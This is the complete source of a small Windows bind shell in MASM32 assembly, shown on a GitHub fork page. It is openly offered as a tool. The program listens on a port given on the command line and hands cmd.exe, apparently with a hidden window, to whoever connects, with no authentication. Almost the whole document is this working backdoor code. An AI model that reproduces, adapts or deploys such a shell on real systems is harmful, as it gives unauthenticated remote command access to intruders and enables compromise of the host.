forked from xillwillx/Mini_Bind_Shell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
minishell.asm
53 lines (51 loc) · 1.47 KB
/
minishell.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
; minishell.asm
; by illwill
; feb 22,2006
; a shell in masm that listens on a port
; and spits back a cmd shell
.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
.data
cmd db "cmd",0
.data?
sinfo STARTUPINFO<>
pi PROCESS_INFORMATION<>
sin sockaddr_in<>
WSAD WSADATA<>
Wsocket dd ?
port db 8 dup (?)
.code
start:
invoke GetCL,1,addr port
invoke WSAStartup, 101h, addr WSAD
invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0
mov Wsocket, eax
mov sin.sin_family, 2
invoke atodw, addr port
invoke htons, eax
mov sin.sin_port, ax
mov sin.sin_addr,INADDR_ANY
invoke bind, Wsocket, addr sin , sizeof(sockaddr_in)
invoke listen, Wsocket, 5
invoke accept,Wsocket,0,0
mov Wsocket,eax
mov eax,Wsocket
mov sinfo.hStdInput,eax
mov sinfo.hStdOutput,eax
mov sinfo.hStdError,eax
mov sinfo.cb,sizeof STARTUPINFO
mov sinfo.dwFlags,STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
invoke CreateProcess,NULL,addr cmd,NULL,NULL,TRUE,8000040h,NULL,NULL,addr sinfo,addr pi
; invoke WaitForSingleObject,pi.hProcess,INFINITE
; invoke closesocket,Wsocket
; invoke WSACleanup
ret
end start